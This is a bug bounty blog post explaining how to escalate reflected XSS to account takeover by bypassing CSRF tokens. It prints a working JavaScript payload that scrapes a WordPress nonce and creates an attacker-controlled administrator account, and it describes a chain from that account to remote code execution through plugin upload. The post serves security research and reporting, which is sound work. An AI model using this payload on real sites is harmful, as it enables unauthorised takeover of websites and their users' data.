How to Upgrade Your XSS Bugs from Medium to Critical

Luke Stephens (@hakluke) Follow
May 21 · 5 min read ★

Photo by Paul Esch-Laurent on Unsplash

TL;DR: Before you report an XSS, look for ways it can be leveraged to increase severity. Here's my repo containing weaponised JavaScript payloads for popular platforms like Wordpress and Drupal. More will be added in the coming weeks.

. . .

It feels like every day that I see another under-leveraged XSS writeup hit my Twitter feed. I saw another one today, I don’t want to name and shame, so let’s call the author “Jim”. The write-up went something like this.

- Jim found some user input that was reflected, unsanitised
- Jim put `<script> alert(1)</script>` into the input and an alert box popped up
- Triaged as P3/Medium Severity
- Rewarded $300
- The end

The target was a very large company, and this XSS was on their most prominent domain which hosts a customer login portal and performs a number of highly-sensitive actions. What Jim didn’t know is that with a bit of extra effort, this bug could have been upgraded to a one-click account takeover and would likely have paid $5000. Don’t be like Jim.

This problem isn’t unique to Jim. Many penetration testers and bug bounty hunters never put in the effort to build out fully weaponised XSS payloads because it’s time consuming, or too difficult, or they don’t know what’s possible. By the end of this article, you will be armed with the knowledge of how to weaponise your XSS findings, and you’ll also have some XSS payloads I’ve crafted that allow an attacker to take full administrative control of some popular content management systems, namely Wordpress and Drupal.

Before we continue on the XSS train, we need to talk about Cross-Site Request Forgery (CSRF). CSRF occurs where the attacker is able to perform sensitive actions in the context of the victim’s session by convincing them to click a link in their own browser. As an example, let’s say the following URL is used in a web application to update the password of the user who navigates to it.

```
https://www.example.com/profile
/update_password?new_password=Welcome1
```

Firstly it’s bad practice to put the password in a GET request, but let’s ignore that for a second. If there are no CSRF mitigations in place, an attacker could send their victim a link

```
https://www.example.com/profile
/update_password?new_password=HACKER
```

When the victim clicks the link while they are already authenticated to www.example.com, the password change request will be sent to the server along with the victim's session data. This will cause the user's password to be updated to a hacker's arbitrary choice, in this case: "HACKER".

CSRF Mitigations?

You might be thinking "how do I mitigate this vulnerability?". Firstly, these kinds of requests should be sent as a POST request with the actual data in the request body. When sending POST requests, CSRF is more difficult to exploit because Same Origin Policy will block attempts. Be warned though, there are exceptions.

The most widely adopted mitigation for CSRF is the use of CSRF tokens (aka nonces). The basic premise is that a random string is generated and that string is only accessible from within the user's browser. Every time a request is sent to perform a sensitive action, the nonce is sent along with it. The server then verifies that the nonce is correct. If it is correct, the form action is completed, if not, the request is rejected by the server. For more details, see the OWASP CSRF Prevention Cheat Sheet.

Here's the thing though, if you find an XSS vulnerability, you can bypass nearly every CSRF protection mechanism that is currently available. The only exception is if the form requires some kind of human intervention to submit (as outlined here).

How does XSS bypass CSRF protections?

Firstly, XSS completely bypasses the Same-Origin Policy. Because the XSS payload is running in the context of the vulnerable application, requests created by the XSS are treated the same as any other request originating from the application and are therefore not blocked.

Secondly, XSS can bypass the use of CSRF tokens, because the injected JavaScript can simply retrieve a valid nonce from the form's source code, then send it along with a sensitive request. This technique is used in the examples below.

An Example: Upgrading XSS on Wordpress to Full Administrative Privileges

Consider the following facts:

- Wordpress powers approximately 30% of all websites on the internet today
- An XSS on a site running Wordpress can be used to create a new administrative user with credentials chosen by the attacker
- Administrative privileges on Wordpress allow you to upload plugins
- Uploading a malicious plugin will result in remote code execution

By chaining these facts together, you can see how a weaponised XSS vulnerability on a Wordpress-powered site is likely to result in full remote command execution, as long as you can get an administrator to click your payload!

This is especially dangerous when you consider that the names of Wordpress users can usually be enumerated using a tool such as WPScan. The owner of the account can often be identified by Googling their name and company name, or searching on LinkedIn.

Additionally, the majority of Wordpress plugins and themes are developed independently, and are notorious for introducing vulnerabilities. For example, here are 14,000 of them: https://wpvulndb.com/.

I recently came across this exact situation on a bug bounty program. I had discovered a stock-standard reflected XSS on a Wordpress powered site, and the administrative user's full name was able to be enumerated using WPScan. I explained the entire attack chain in the bug bounty ticket, and it was rewarded as a P1/Critical, even though the core weakness was nothing more than a reflected XSS. Context matters.

The Payloads

Along with this article, I am releasing a Github repository with some JavaScript payloads designed to take over Wordpress and Drupal by adding a new adminsitrative user. These are the only two payloads at the moment. Over time I'll be building out this repository with more weaponised JavaScript payloads for popular platforms and frameworks, feel free to help by sending pull requests! You can take a look here:

https://github.com/hakluke/weaponised-XSS-payloads

As a teaser, here’s an example JavaScript payload that will create a new administrative Wordpress user.

```
/*
Target: Wordpress - tested on 5.1.1 but probably works on other
versions
Action: Create a new administrative user with username
"hacker", email "hacker@example.com" and password
"AttackerP455"
Context: Must be executed in the context of an administrator
user
*/

var wp_root = "" // don't add a trailing slash
var req = new XMLHttpRequest();
var url = wp_root + "/wp-admin/user-new.php";
var regex = /ser" value="([^"]*?)"/g;
req.open("GET", url, false);
req.send();
var nonce = regex.exec(req.responseText);
var nonce = nonce[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&
user_login=hacker&email=hacker@example.com&pass1=AttackerP455&
pass2=AttackerP455&role=administrator";
req.open("POST", url, true);
req.setRequestHeader("Content-Type", "application/x-www-form-
urlencoded");
req.send(params);
```

XSS Mitigations?

Read this!

Want More?

Step 1: Follow me on Twitter: https://twitter.com/hakluke.

Step 2: Pop your email in below!